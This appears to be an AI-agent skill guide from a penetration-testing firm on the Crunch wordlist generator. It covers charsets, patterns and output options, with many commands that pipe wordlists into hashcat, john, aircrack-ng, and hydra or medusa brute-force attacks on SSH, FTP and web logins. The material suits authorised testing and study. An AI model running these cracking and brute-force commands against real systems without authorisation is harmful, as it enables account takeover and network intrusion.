Crunch

crunch Agent Skill

When to Use This Skill

Use this skill when:

• The user needs to generate a wordlist based on known password patterns (e.g., 8 chars, 2 uppercase + 4 lower + 2 digits)
• Generating all combinations of a specific character set within a length range
• Creating targeted wordlists when you know part of the password (name + 4 digits, company + year)
• Pattern-based generation using Crunch's -t flag (known character positions)
• Piping generated passwords directly into hashcat, john, or hydra without saving to disk

What Crunch Does

Crunch is a wordlist generator built into Kali Linux that creates wordlists based on criteria you specify: a minimum and maximum length, a character set, optional patterns, and output filters. It generates every possible combination in a deterministic order. Unlike CeWL (web-based) or CUPP (profile-based), Crunch is a pure combinatorial generator — useful when you know structural constraints of a target password.

Installation

Kali Linux (pre-installed or apt)

sudo apt update && sudo apt install -y crunch
crunch --help

Ubuntu/Debian

sudo apt install -y crunch

From Source

# Not commonly needed — apt version is current
# Source available via apt source
apt-get source crunch

Verify Installation

which crunch
crunch 4 4 abc 2>/dev/null | head -5
# Should output: aaaa, aaab, aaac, aaba, aabb...

Core Concepts

Syntax

crunch <min-len> <max-len> [charset] [options]

• min-len: Minimum password length to generate
• max-len: Maximum password length to generate
• charset: Character set string (every char listed is used); if omitted, uses default lowercase
• Output goes to stdout unless -o is specified

Generation Order

Crunch generates in lexicographic order based on the character set string position. The first character in the set appears first:

crunch 2 2 abc
# Output: aa, ab, ac, ba, bb, bc, ca, cb, cc

Output Volume Warning

Combinatorial explosion is real:

# 8-character lowercase only: 26^8 = 208 billion words ~ 1.8 TB
crunch 8 8 abcdefghijklmnopqrstuvwxyz --stdout | wc -c

# Always estimate first:
# Entries = charset_size ^ length (for fixed length)
python3 -c "print(26**8)"  # 208827064576

Character Set Syntax

Inline Character Sets

# Lowercase letters only
crunch 6 8 abcdefghijklmnopqrstuvwxyz -o /tmp/lower.txt

# Uppercase letters only
crunch 6 8 ABCDEFGHIJKLMNOPQRSTUVWXYZ -o /tmp/upper.txt

# Digits only
crunch 4 6 0123456789 -o /tmp/numeric.txt

# Alphanumeric (no symbols)
crunch 6 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 -o /tmp/alnum.txt

# Lowercase + digits
crunch 6 8 abcdefghijklmnopqrstuvwxyz0123456789 -o /tmp/lower_num.txt

# Custom small set (known chars)
crunch 4 6 acme13 -o /tmp/acme_chars.txt

# PIN codes (4-8 digit numeric)
crunch 4 8 0123456789 -o /tmp/pins.txt

Built-in Charset File

Crunch ships with /usr/share/crunch/charset.lst:

cat /usr/share/crunch/charset.lst
# Named charsets:
# lalpha          = abcdefghijklmnopqrstuvwxyz
# ualpha          = ABCDEFGHIJKLMNOPQRSTUVWXYZ
# numeric         = 0123456789
# symbols14       = !"#$%&'()*+,-./ (14 symbols)
# symbols14b      = :;<=>?@[\]^_`{|}~ (14 more symbols)
# ualpha-numeric  = ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
# lalpha-numeric  = abcdefghijklmnopqrstuvwxyz0123456789
# mixalpha        = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
# mixalpha-numeric = full mixed alphanumeric
# mixalpha-numeric-all = mixed + all symbols

Using charset.lst

# -f specifies charset file, then charset name
crunch 6 8 -f /usr/share/crunch/charset.lst lalpha -o /tmp/lower.txt
crunch 8 8 -f /usr/share/crunch/charset.lst mixalpha-numeric -o /tmp/mixed.txt
crunch 4 6 -f /usr/share/crunch/charset.lst numeric -o /tmp/nums.txt

# Symbols
crunch 8 10 -f /usr/share/crunch/charset.lst mixalpha-numeric-all -o /tmp/full.txt

Pattern Mode (-t)

The -t flag enables pattern-based generation. Use placeholder characters to define fixed positions:

# Pattern examples:
# Pass@@@@ — the word "Pass" followed by 4 lowercase letters
crunch 8 8 -t Pass@@@@ -o /tmp/pass_pattern.txt

# Acme%%%% — "Acme" followed by 4 digits
crunch 8 8 -t Acme%%%% -o /tmp/acme_year.txt
# Output: Acme0000, Acme0001, ... Acme9999

# 2 uppercase, 4 lowercase, 2 digits
crunch 8 8 -t ,,@@@@%% -o /tmp/complex.txt

# Known pattern: first 3 chars known, last 4 unknown numeric
crunch 7 7 -t Cor%%%% -o /tmp/corp_pins.txt

# Symbol at end
crunch 9 9 -t Summer%%^ -o /tmp/summer_pass.txt

Pattern with Custom Sets

Combining -t with custom charset (the charset string maps to @ substitutions):

# Use custom charset for @ positions
crunch 8 8 -t @@@@%%%% abc123 -o /tmp/restricted.txt
# The 4 @ positions use chars: a, b, c, 1, 2, 3
# The 4 % positions are always digits 0-9

Output Options

Output to File

# Basic file output
crunch 6 8 abcdefghijklmnopqrstuvwxyz0123456789 -o /tmp/wordlist.txt

# Append to existing file (use shell redirect)
crunch 9 9 -t Summer%%% >> /tmp/wordlist.txt

# Split output into multiple files of N lines each
crunch 6 8 lalpha -f /usr/share/crunch/charset.lst -o START -c 1000000
# Creates: crunch000000.txt, crunch000001.txt, etc. (1M lines each)
# START is a literal keyword that triggers splitting mode

Compressed Output

# gzip compression
crunch 8 8 -f /usr/share/crunch/charset.lst lalpha-numeric \
  -o /tmp/wordlist.gz -z gzip

# bzip2 compression (better ratio, slower)
crunch 8 8 -f /usr/share/crunch/charset.lst lalpha-numeric \
  -o /tmp/wordlist.bz2 -z bzip2

# lzma compression (best ratio, slowest)
crunch 8 8 -f /usr/share/crunch/charset.lst lalpha-numeric \
  -o /tmp/wordlist.lzma -z lzma

# Decompress for use
gunzip -c /tmp/wordlist.gz | hashcat ...

Limiting Output

# Limit to N lines
crunch 8 8 -f /usr/share/crunch/charset.lst lalpha -c 100000 -o /tmp/first100k.txt

# Limit by byte count (not built-in; use head)
crunch 8 8 abcdefghijklmnopqrstuvwxyz | head -c 500M > /tmp/500mb.txt

Start and End Strings

# Start from a specific string (resume or skip)
crunch 8 8 abcdefghijklmnopqrstuvwxyz -s abcdefgh -o /tmp/from_abcdefgh.txt

# End at a specific string
crunch 8 8 abcdefghijklmnopqrstuvwxyz -e abczzzzz -o /tmp/up_to.txt

# Both: generate a slice of the keyspace
crunch 8 8 abcdefghijklmnopqrstuvwxyz \
  -s password -e passzzz -o /tmp/slice.txt

Piping to Attack Tools

Piping to stdout avoids disk I/O entirely — essential for large keyspaces:

Pipe to Hashcat

# Pipe directly: avoids disk entirely
crunch 8 8 -f /usr/share/crunch/charset.lst lalpha-numeric | \
  hashcat -a 0 -m 1000 /tmp/hashes.txt --stdin

# Pipe with NTLM (Active Directory)
crunch 8 10 abcdefghijklmnopqrstuvwxyz0123456789 | \
  hashcat -a 0 -m 1000 /tmp/ntlm_hashes.txt --stdin -O

# WPA/WPA2 (handshake)
crunch 8 8 -t Summer%%% | \
  hashcat -a 0 -m 22000 /tmp/handshake.22000 --stdin -O

Pipe to John the Ripper

crunch 6 8 abcdefghijklmnopqrstuvwxyz0123456789 | \
  john --stdin --format=NT /tmp/hashes.txt

# With status
crunch 8 8 -t Corp@@@% | \
  john --stdin --format=sha512crypt /tmp/shadow_hashes.txt

Pipe to Hydra (Online Attacks)

# HTTP form login
crunch 6 8 abcdefghijklmnopqrstuvwxyz0123456789 | \
  hydra -l admin -P - \
    https-post-form "target.com/login:user=^USER^&pass=^PASS^:Invalid"

# SSH
crunch 6 8 -f /usr/share/crunch/charset.lst lalpha | \
  hydra -l jsmith -P - ssh://10.10.10.50 -t 4 -V

# FTP
crunch 4 6 0123456789 | \
  hydra -l ftpuser -P - ftp://10.10.10.50 -V

Pipe to Medusa

crunch 6 8 abcdefghijklmnopqrstuvwxyz | \
  medusa -h 10.10.10.50 -u admin -P - -M http -m DIR:/login

Permutation Mode

Crunch can generate permutations (no repetition) of a given string:

# All permutations of "aAbB" (4! = 24 combinations)
crunch 4 4 -p aAbB

# Permutations of known password components
crunch 1 1 -p Summer 2024 !

# This outputs all orderings of the words/chars given
# (treats each space-delimited token as a unit)
crunch 1 1 -p "password" "company" "2024" "!"
# Output: all 4! = 24 orderings concatenated

Note: -p mode ignores min/max and outputs permutations of the specified strings/chars.

Common Workflows

Corporate Password Pattern Attack

# Known pattern: CompanyName + 4-digit year (Acme + 2022-2025)
crunch 8 8 -t Acme%%%% -o /tmp/acme_years.txt
# Then crack
hashcat -a 0 -m 1000 /tmp/ntlm.txt /tmp/acme_years.txt

# Variations: lowercase + year
crunch 8 8 -t acme%%%% >> /tmp/acme_years.txt

# Season + year pattern
for season in Spring Summer Fall Winter Autumn; do
  for year in 2022 2023 2024 2025; do
    echo "${season}${year}"
    echo "${season}${year}!"
    echo "${season}@${year}"
  done
done > /tmp/seasonal.txt
hashcat -a 0 -m 1000 /tmp/ntlm.txt /tmp/seasonal.txt

PIN Code Generation

# All 4-digit PINs (10,000 entries)
crunch 4 4 0123456789 -o /tmp/pins4.txt

# All 6-digit PINs (1,000,000 entries)
crunch 6 6 0123456789 -o /tmp/pins6.txt

# Common PIN patterns (not all combos — targeted)
# Start with most common PINs
echo -e "1234\n0000\n1111\n1212\n7777\n1004\n2000\n4444\n2222\n6969" > /tmp/common_pins.txt

WPA Default Password Patterns

# Many routers use 8-digit numeric PINs by default
crunch 8 8 0123456789 | \
  hashcat -a 0 -m 22000 /tmp/handshake.22000 --stdin

# ISP default patterns (e.g., "admin" + 4 digits)
crunch 9 9 -t admin%%%% -o /tmp/isp_defaults.txt

# Common WPA default: random lowercase 8-char (small charset sometimes)
crunch 8 8 abcdefghijklmnopqrstuvwxyz -o /tmp/lower8.txt

Hybrid Attack Prep

# Use CeWL for base words, Crunch for suffixes
# Append 2-digit suffixes to each CeWL word
while IFS= read -r word; do
  crunch 2 2 0123456789 | while IFS= read -r suffix; do
    echo "${word}${suffix}"
  done
done < /tmp/cewl_words.txt > /tmp/hybrid_cewl_digits.txt

# Or use Hashcat hybrid mode (faster)
hashcat -a 6 -m 1000 /tmp/ntlm.txt /tmp/cewl_words.txt "?d?d?d?d"

WPA Attack with Crunch + Aircrack-ng

# Target WPA with 8-lowercase-char passwords (pipe to aircrack)
crunch 8 8 abcdefghijklmnopqrstuvwxyz | \
  aircrack-ng -w - -b AA:BB:CC:DD:EE:FF /tmp/handshake.cap

Estimating Wordlist Size

Always estimate before generating:

#!/usr/bin/env python3
import math, sys

charset_size = int(sys.argv[1])  # e.g., 36 for alphanumeric
min_len = int(sys.argv[2])
max_len = int(sys.argv[3])

total = sum(charset_size**l for l in range(min_len, max_len+1))
print(f"Total words: {total:,}")
print(f"Estimated size: {total * (max_len + 1) / 1e9:.2f} GB (approx)")

python3 estimate.py 36 6 8    # 36-char set, 6-8 length
# Total words: 2,821,109,907,456
# Estimated size: 25.39 GB (approx)

Integration with Other Tools

Troubleshooting

Output too large — disk fills up

# Never generate massive wordlists to disk — pipe instead
crunch 8 10 -f /usr/share/crunch/charset.lst mixalpha-numeric | \
  hashcat -a 0 -m 1000 /tmp/hashes.txt --stdin

# Or use hashcat's built-in mask attack (much faster)
hashcat -a 3 -m 1000 /tmp/hashes.txt "?l?l?l?l?l?l?l?l"  # 8 lowercase

crunch: invalid option

# Verify syntax: min max charset options (charset before flags in some versions)
crunch 8 8 abc123 -t @@@@%%%% -o /tmp/out.txt
# If charset.lst needed, -f comes before -o
crunch 8 8 -f /usr/share/crunch/charset.lst lalpha -o /tmp/out.txt

Pattern -t not working

• Ensure pattern length equals min=max (for fixed-length patterns)
• Verify placeholder chars are @, ,, %, ^ (literal commas not spaces)
• Quote the pattern: -t "Pass@@%%"

No output / empty file

# Test: generate small output to stdout first
crunch 4 4 abc | head -10
# Check that min ≤ max
# Check charset has content

Charset.lst path not found

find / -name "charset.lst" 2>/dev/null
# Usually: /usr/share/crunch/charset.lst
# Or copy from apt: sudo apt reinstall crunch

Hydra disconnecting when piping

# Slow down hydra to match pipe speed
crunch 6 8 abcdefghijklmnopqrstuvwxyz | \
  hydra -l admin -P - ssh://10.10.10.50 -t 1 -W 3

Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs. 20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.

redhound.us | GitHub | Book a consultation